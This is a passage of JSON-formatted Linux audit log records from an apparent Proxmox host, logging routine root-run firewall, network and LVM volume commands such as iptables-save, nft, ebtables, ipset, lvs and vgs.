suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966346272,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966346.272:69386): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965335106,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.106:65157): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965094324,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965094.324:64131): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740a110 a1=64f8d6f88c80 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61613 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966346272,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966346.272:69385): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965335098,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.098:65156): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965091757,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965091.757:64130): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61612 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966346265,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966346.265:69384): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965334169,"@rawstring":"node=pve type=EXECVE msg=audit(1781965334.169:65155): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965091750,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965091.750:64127): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61611 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966346265,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966346.265:69383): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965334139,"@rawstring":"node=pve type=EXECVE msg=audit(1781965334.139:65154): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965086741,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965086.741:64124): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61609 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966346265,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966346.265:69382): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965332630,"@rawstring":"node=pve type=EXECVE msg=audit(1781965332.630:65153): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965086733,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965086.733:64121): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61608 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345118,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966345.118:69381): proctitle=\"ebtables-restore\""} {"@timestamp":1781965332603,"@rawstring":"node=pve type=EXECVE msg=audit(1781965332.603:65150): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965085997,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.997:64118): arch=c000003e syscall=59 success=yes exit=0 a0=5e3066a8dd30 a1=5e3066a99f00 a2=5e3066a67680 a3=5 items=2 ppid=61601 pid=61607 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345115,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966345.115:69380): proctitle=\"ebtables-restore\""} {"@timestamp":1781965327597,"@rawstring":"node=pve type=EXECVE msg=audit(1781965327.597:65146): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965085995,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.995:64117): arch=c000003e syscall=59 success=yes exit=0 a0=5e3055f49ac8 a1=7ffc7a3d1410 a2=5e3066a67680 a3=5e3055f2d24e items=2 ppid=61601 pid=61603 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345112,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966345.112:69379): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965327587,"@rawstring":"node=pve type=EXECVE msg=audit(1781965327.587:65143): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965085993,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.993:64116): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc7a3d13d0 a1=5e3066a893d0 a2=5e3066a67680 a3=5 items=2 ppid=61601 pid=61602 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345108,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966345.108:69378): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965326088,"@rawstring":"node=pve type=EXECVE msg=audit(1781965326.088:65140): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965085987,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.987:64114): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61601 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345108,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966345.108:69377): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965326083,"@rawstring":"node=pve type=EXECVE msg=audit(1781965326.083:65139): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965085981,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.981:64113): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61600 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345108,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966345.108:69376): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965326083,"@rawstring":"node=pve type=EXECVE msg=audit(1781965326.083:65138): argc=1 a0=\"date\""} {"@timestamp":1781965085975,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.975:64112): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61599 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345104,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966345.104:69375): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965326079,"@rawstring":"node=pve type=EXECVE msg=audit(1781965326.079:65136): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965085967,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.967:64111): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61598 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345099,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966345.099:69374): proctitle=69707365740073617665"} {"@timestamp":1781965326071,"@rawstring":"node=pve type=EXECVE msg=audit(1781965326.071:65135): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965085960,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.960:64110): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61597 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345093,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966345.093:69373): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965326065,"@rawstring":"node=pve type=EXECVE msg=audit(1781965326.065:65134): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965085958,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.958:64109): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=618749976740 items=0 ppid=1156 pid=61596 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966345085,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966345.085:69372): proctitle=\"ip6tables-save\""} {"@timestamp":1781965326057,"@rawstring":"node=pve type=EXECVE msg=audit(1781965326.057:65133): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965085955,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.955:64108): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc134210 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61596 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345080,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966345.080:69371): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965326050,"@rawstring":"node=pve type=EXECVE msg=audit(1781965326.050:65132): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965085951,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.951:64107): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0fbb60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61595 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345075,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966345.075:69370): proctitle=\"iptables-save\""} {"@timestamp":1781965326043,"@rawstring":"node=pve type=EXECVE msg=audit(1781965326.043:65130): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965085945,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.945:64106): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ed5a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61594 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345070,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966345.070:69369): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965326038,"@rawstring":"node=pve type=EXECVE msg=audit(1781965326.038:65129): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965085938,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.938:64105): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1013e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61593 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345064,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966345.064:69368): proctitle=\"ip6tables-save\""} {"@timestamp":1781965326032,"@rawstring":"node=pve type=EXECVE msg=audit(1781965326.032:65128): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965085931,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.931:64104): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed5a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61592 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345058,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966345.058:69367): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965326025,"@rawstring":"node=pve type=EXECVE msg=audit(1781965326.025:65127): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965085927,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.927:64103): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13bce0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61591 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345053,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966345.053:69366): proctitle=\"iptables-save\""} {"@timestamp":1781965326020,"@rawstring":"node=pve type=EXECVE msg=audit(1781965326.020:65126): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965085921,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.921:64102): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61590 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966344937,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966344.937:69365): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965326015,"@rawstring":"node=pve type=EXECVE msg=audit(1781965326.015:65125): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965085913,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.913:64101): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61589 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966344907,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966344.907:69364): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965326006,"@rawstring":"node=pve type=EXECVE msg=audit(1781965326.006:65124): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965085910,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.910:64100): arch=c000003e syscall=59 success=yes exit=0 a0=5ba00f6c60a0 a1=5ba00f6c2e20 a2=5ba00f6a4680 a3=5 items=2 ppid=61582 pid=61588 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966341370,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966341.370:69363): proctitle=\"clear\""} {"@timestamp":1781965326000,"@rawstring":"node=pve type=EXECVE msg=audit(1781965326.000:65123): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965085906,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.906:64099): arch=c000003e syscall=59 success=yes exit=0 a0=5b9fe21fbac8 a1=7fff4bf15670 a2=5ba00f6a4680 a3=5b9fe21df24e items=2 ppid=61582 pid=61584 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966341254,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966341.254:69362): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965325997,"@rawstring":"node=pve type=EXECVE msg=audit(1781965325.997:65122): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965085906,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.906:64098): arch=c000003e syscall=59 success=yes exit=0 a0=7fff4bf15630 a1=5ba00f6ab310 a2=5ba00f6a4680 a3=5 items=2 ppid=61582 pid=61583 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966341254,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966341.254:69361): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965325992,"@rawstring":"node=pve type=EXECVE msg=audit(1781965325.992:65121): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965085901,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.901:64096): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61582 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966341254,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966341.254:69360): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965325992,"@rawstring":"node=pve type=EXECVE msg=audit(1781965325.992:65120): argc=1 a0=\"date\""} {"@timestamp":1781965085895,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.895:64095): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61581 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966341243,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966341.243:69359): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965325986,"@rawstring":"node=pve type=EXECVE msg=audit(1781965325.986:65118): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965085887,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.887:64094): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61580 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966341243,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966341.243:69358): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965325980,"@rawstring":"node=pve type=EXECVE msg=audit(1781965325.980:65117): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965085881,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.881:64093): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b4f890 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61579 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966341243,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966341.243:69357): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965325972,"@rawstring":"node=pve type=EXECVE msg=audit(1781965325.972:65116): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965085874,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.874:64092): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc102890 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61578 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336230,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966336.230:69356): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965325968,"@rawstring":"node=pve type=EXECVE msg=audit(1781965325.968:65115): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965085864,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.864:64091): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139650 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61577 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336230,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966336.230:69355): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965325960,"@rawstring":"node=pve type=EXECVE msg=audit(1781965325.960:65114): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965084218,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965084.218:64090): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ee190 a1=64f8d16faa80 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61574 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336230,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966336.230:69354): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965325952,"@rawstring":"node=pve type=EXECVE msg=audit(1781965325.952:65113): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965084165,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965084.165:64089): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740a020 a1=64f8d73d5a00 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61573 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336222,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966336.222:69353): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965325070,"@rawstring":"node=pve type=EXECVE msg=audit(1781965325.070:65112): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965083481,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965083.481:64088): arch=c000003e syscall=59 success=yes exit=0 a0=620c1db8f1c0 a1=620c1db914b0 a2=620c17225c10 a3=b items=3 ppid=61567 pid=61572 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 